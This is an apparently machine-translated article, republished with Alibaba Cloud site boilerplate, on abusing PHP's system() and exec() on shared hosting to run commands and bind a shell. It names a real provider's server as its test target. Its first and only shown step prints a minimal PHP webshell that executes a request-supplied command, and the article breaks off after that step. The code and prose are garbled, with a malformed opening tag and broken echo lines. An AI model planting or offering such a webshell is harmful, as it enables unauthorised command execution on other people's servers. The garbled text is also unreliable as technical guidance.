Construct a security PHP configuration vulnerability attack in Linux

Source: Internet
Author: User
Build a security PHP configuration vulnerability attack in Linux-Linux Enterprise Application-Linux server application information. The following is a detailed description. The problem with these sites is that you can use system (), exec (), and other functions. You should be familiar with php, these functions call system commands (although the web server php program can only have the nobody permission). Generally, users only need to apply for a space to obtain partial write permissions, this allows you to write a web shell program to execute commands. generally, users cannot log on to these servers, that is, nologin (the Administrator is not so "generous" if the shell is not logged on "!), In this way, you can use the system (), exec () functions to bind a shell ~! This article uses the space of huyi (www.51.net) as an example (does it mean that all servers have this problem? I don't know ~ I only tested the server where my space is located ):

1. Write a webshell first (php is easy to do)
CODE:?> Php
# Shell. php3
Echo"
";
System ("$ cmd ");
Echo"
";
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.